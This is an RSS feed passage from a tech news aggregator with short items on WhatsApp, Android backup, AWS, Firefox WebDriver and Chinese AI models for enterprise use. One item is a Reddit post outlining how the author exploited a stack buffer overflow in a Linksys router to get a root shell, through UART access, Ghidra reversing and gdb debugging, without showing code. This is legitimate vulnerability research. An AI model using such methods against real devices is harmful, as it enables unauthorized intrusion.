<content:encoded><![CDATA[WhatsApp has announced several new features for iPhone, iPad, CarPlay, Android Auto, desktop, and web users, with the latest update focusing on music sharing, easier account setup, PDF tools, and improved in-car controls. The company says these WhatsApp new features are rolling out now across supported devices.



One of the main additions lets users share songs from Apple Music or Spotify directly to their WhatsApp Status. Friends can then see what someone is listening to without leaving the Status screen.




“Sharing music is a way of expressing yourself, and now you can easily share a song straight from Apple Music or Spotify to your WhatsApp Status. With just a couple of taps, your friends can see what you’re into right now, making your Status even more uniquely you,” WhatsApp said.




iPad users can now create a WhatsApp account directly on the tablet instead of linking an existing phone account. WhatsApp introduced this option after users repeatedly requested a simpler signup process for its iPad app.



The refreshed CarPlay and Android Auto experience also lets users hear and reply to messages, make calls, view call history, and reach favourite contacts from the car display. Meanwhile, Adobe Acrobat integration allows desktop and web users to open, highlight, and annotate PDFs inside WhatsApp chats.]]></content:encoded>
</item>
<item>
<title><![CDATA[At last, WhatsApp for iPad can be set up without another device]]></title>
<description><![CDATA[WhatsApp is making its iPad app work more like a standalone service by letting users create an account without first setting it up on a phone.WhatsApp for iPadMeta is rolling out the change as part of a wider WhatsApp update that also expands CarPlay support, adds basic PDF tools and makes it eas...]]></description>
<link>https://tsecurity.de/de/3686562/ios-mac-os/at-last-whatsapp-for-ipad-can-be-set-up-without-another-device/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686562/ios-mac-os/at-last-whatsapp-for-ipad-can-be-set-up-without-another-device/</guid>
<pubDate>Wed, 22 Jul 2026 15:44:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp is making its <a href="https://appleinsider.com/inside/ipad" title="iPad" data-kpt="1">iPad</a> app work more like a standalone service by letting users create an account without first setting it up on a phone.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68314-144006-1849C6F6-23C9-49A3-8741-910DDAA9E81F-xl.jpg" alt="Tablet screen displaying WhatsApp for iPad welcome page with green login and create new account buttons, set against a light brick wall background on a wooden surface" height="738"><span>WhatsApp for iPad</span></div><br>Meta is rolling out the change as part of a wider WhatsApp update that also expands <a href="https://appleinsider.com/inside/carplay" title="CarPlay" data-kpt="1">CarPlay</a> support, adds basic PDF tools and makes it easier to share music. Direct registration addresses one of the largest limitations of the iPad app since its 2025 launch.<br><br>WhatsApp for iPad previously relied on the company's linked-device system, which required users to establish an account elsewhere before connecting the tablet. The new process lets users register, complete setup and begin using WhatsApp directly from the iPad app.<br><br>Meta hasn't explained whether registration still requires a phone number capable of receiving a verification code or whether an iPad can remain the account's only primary device. The change still gives iPad owners a more conventional signup process without first configuring WhatsApp on another device.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/at-last-whatsapp-for-ipad-can-be-set-up-without-another-device?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245021?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS Weekly Roundup: One-click Lambda setup prompt, OpenAI GPT-5.6 models on Bedrock, and more (July 20, 2026)]]></title>
<description><![CDATA[Last week, my team visited Seoul to meet AWS Korea User Group (AWSKRUG) leaders. AWSKRUG is the largest cloud developer community in Korea, with 20 meetup groups organized by topic and area that collectively host over 100 events each year, primarily in Seoul. My team regularly visits countries ac...]]></description>
<link>https://tsecurity.de/de/3685885/ai-nachrichten/aws-weekly-roundup-one-click-lambda-setup-prompt-openai-gpt-56-models-on-bedrock-and-more-july-20-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685885/ai-nachrichten/aws-weekly-roundup-one-click-lambda-setup-prompt-openai-gpt-56-models-on-bedrock-and-more-july-20-2026/</guid>
<pubDate>Wed, 22 Jul 2026 12:07:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last week, my team visited Seoul to meet AWS Korea User Group (AWSKRUG) leaders. AWSKRUG is the largest cloud developer community in Korea, with 20 meetup groups organized by topic and area that collectively host over 100 events each year, primarily in Seoul. My team regularly visits countries across the Asia-Pacific region, listens to feedback […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Wed, 22 Jul 2026 12:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I crafted an exploit PoC for a Linskys router]]></title>
<description><![CDATA[I’ve been doing some vulnerability research on a known CVE (CVE-2025-60690) on a consumer Linksys router and wanted to share the workflow I used to investigate it. The process started by targeting the physical hardware: identifying the UART pads on the board using a digital multimeter to access t...]]></description>
<link>https://tsecurity.de/de/3685145/malware-trojaner-viren/how-i-crafted-an-exploit-poc-for-a-linskys-router/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685145/malware-trojaner-viren/how-i-crafted-an-exploit-poc-for-a-linskys-router/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:23 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’ve been doing some vulnerability research on a known CVE (<strong>CVE-2025-60690</strong>) on a consumer Linksys router and wanted to share the workflow I used to investigate it.</p> <p>The process started by targeting the physical hardware: identifying the UART pads on the board using a digital multimeter to access the Linux-based shell console. From there, I extracted the vulnerable binary (from the CVE description), and reversed it in Ghidra. Next, I used a gdb+gdbserver setup to perform dynamic analysis to investigate the memory behaviors.</p> <p>I managed to successfully achieve RCE from the stack-based buffer overflow vulnerability to land a root shell. The exploit PoC for <strong>CVE-2025-60690</strong> just got cited on the official <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-60690">CVE page</a> and <a href="https://www.exploit-db.com/exploits/52548">exploit-db.com</a>.</p> <p>I just started a YouTube channel dedicated to breaking down IoT hacking concepts. Also, I’ve compiled my step-by-step research notes in a reference doc. If you're working on similar hardware research and want a copy of the notes, drop a comment or shoot me a DM and I'll gladly send them over!</p> <p><a href="https://preview.redd.it/vmci7ftei4dh1.png?width=1240&amp;format=png&amp;auto=webp&amp;s=f1a206fe69710f1aba4479621dd54464cde9fc27">USB-UART connection to Raspberry Pi</a></p> <p><a href="https://preview.redd.it/1sw4y9sdh4dh1.png?width=1892&amp;format=png&amp;auto=webp&amp;s=157fce524160b8a87ecff46de3e7a29dee0f5374">Testing UART pads with digital multimeter</a></p> <p><a href="https://preview.redd.it/gx6x22p0i4dh1.png?width=1497&amp;format=png&amp;auto=webp&amp;s=9192243cd76560b64f263cb5d62c57c30294754f">Testing buffer overflow behavior (gdb+gdbserver setup)</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Dapper-Depth2940"> /u/Dapper-Depth2940 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uwq84s/how_i_crafted_an_exploit_poc_for_a_linskys_router/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uwq84s/how_i_crafted_an_exploit_poc_for_a_linskys_router/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[[OC] I fixed Davinci Resolve on Linux]]></title>
<description><![CDATA[Those who use davinci resolve on linux definitely know about the issues with AAC and H.264 codecs, drag 'n' drops, and some other bugs. I wonder why nobody has done this before and used bash to manually convert the media, considering how many people were affected by this problem It works as wrapp...]]></description>
<link>https://tsecurity.de/de/3684989/linux-tipps/oc-i-fixed-davinci-resolve-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684989/linux-tipps/oc-i-fixed-davinci-resolve-on-linux/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:43 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Those who use davinci resolve on linux definitely know about the issues with AAC and H.264 codecs, drag 'n' drops, and some other bugs. I wonder why nobody has done this before and used bash to manually convert the media, considering how many people were affected by this problem</p> <p>It works as wrapper that currently:</p> <ul> <li>Automatically converts unsupported codecs on import</li> <li>Fixes broken drag 'n' drops</li> <li>Fixes pasting from clipboard</li> </ul> <p>Now the linux experience with resolve should be nearly the same as on windows/mac. Enjoy!</p> <p><a href="https://github.com/fedsfarm/drwrap">https://github.com/fedsfarm/drwrap</a></p> <p>Tested on hyprland with a studio version, feel free to open a PR if it doesn't work on your setup</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/fedsfarm"> /u/fedsfarm </a> <br> <span><a href="https://i.redd.it/k12vmt8ejmeh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v2qfum/oc_i_fixed_davinci_resolve_on_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Developer Experience: Firefox WebDriver Newsletter 153]]></title>
<description><![CDATA[WebDriver is a remote control interface that enables introspection and control of user agents. As such, it can help developers to verify that their websites are working and performing well with all major browsers. The protocol is standardized by the W3C and consists of two separate specifications...]]></description>
<link>https://tsecurity.de/de/3684978/tools/firefox-developer-experience-firefox-webdriver-newsletter-153/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684978/tools/firefox-developer-experience-firefox-webdriver-newsletter-153/</guid>
<pubDate>Wed, 22 Jul 2026 01:04:45 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>WebDriver is a remote control interface that enables introspection and control of user agents. As such, it can help developers to verify that their websites are working and performing well with all major browsers. The protocol is standardized by the<a href="https://www.w3.org/"> W3C</a> and consists of two separate specifications:<a href="https://w3c.github.io/webdriver/"> WebDriver classic</a> (HTTP) and the new<a href="https://w3c.github.io/webdriver-bidi/"> WebDriver BiDi</a> (Bi-Directional).</em></p>



<p><em>This newsletter gives an overview of the work we’ve done as part of the Firefox 153 release cycle</em>.</p>



<h3>Contributions</h3>



<p>Firefox is an open source project, and we are always happy to receive external code contributions to our WebDriver implementation. We want to give special thanks to everyone who filed issues, bugs and submitted patches.</p>



<p> Firefox 153, multiple WebDriver bugs were fixed by contributors:</p>



<ul>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hard-coded strings</a> for all our session data types.</li>



<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>



<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
</ul>



<p>WebDriver code is written in JavaScript, Python, and Rust so any web developer can contribute! Read<a href="https://firefox-source-docs.mozilla.org/setup/index.html"> how to setup the work environment</a> and check<a href="https://codetribute.mozilla.org/projects/automation"> the list of mentored issues</a> for Marionette, or the<a href="https://codetribute.mozilla.org/languages/javascript?project%3DWebDriver%2520BiDi"> list of mentored JavaScript bugs for WebDriver BiDi</a>. Join<a href="https://chat.mozilla.org/#/room/%23webdriver:mozilla.org"> our chatroom</a> if you need any help to get started!</p>



<h3>All Changes</h3>



<p>A complete list of developer-facing changes included in this Firefox release is available in the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#webdriver_conformance_webdriver_bidi_marionette">MDN Firefox 153 Release Notes</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:24:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199590/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Watch Glucose Monitoring Cheat Sheet: Which Models Work and What You Need]]></title>
<description><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></description>
<link>https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684669/it-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



